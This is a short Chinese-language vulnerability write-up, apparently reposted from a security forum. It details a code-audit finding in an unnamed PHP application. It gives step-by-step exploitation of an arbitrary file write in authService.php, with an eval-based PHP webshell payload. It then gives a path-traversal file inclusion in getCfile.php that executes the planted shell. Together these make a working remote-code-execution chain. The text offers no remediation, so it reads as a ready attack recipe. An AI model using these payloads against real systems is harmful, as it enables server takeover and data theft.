作者:Dodgers
一、审计步骤:
(一)查找写入文件函数:
自动化审计,在这个/auth_pi/authService.php文件下发现file_put_contents函数可控,跟进该文件。
/auth_pi/authService.php文件的set_authAction方法。在76行的提醒语句也说明了该info文件在user_auth目录下,而且也未对userName进行安全过滤,这里可以任意路径创建文件。
而P方法存在于/mvc/lib/core.function.php的类里面,是用来接收POST传参。
这里注意:包含路径是data下的
利用方式: 1:post请求 2:请求参数a=set_auth 3:参数为userName、auth
payload: userName=tr1&auth=<?php%20@eval($_POST['w']);?>
(二)查找文件包含函数:
自动化审计,在这个/local/auth/php/getCfile.php文件下发现include 函数可控,跟进该文件。
这个文件通过post方式传参但是并没有对cf参数进行安全过滤
利用方式: 1:post请求 2:必须存在tmp/app_auth/cfile目录或者自己创建 3:参数为cf、&field=1
payload: cf=…/…/…/data/tr.info&field=1&w=phpinfo(); 说明:这里的文件需要刚刚写文件的文件名
该文章来源火线Zone社区:https://zone.huoxian.cn/d/433-0day-2
|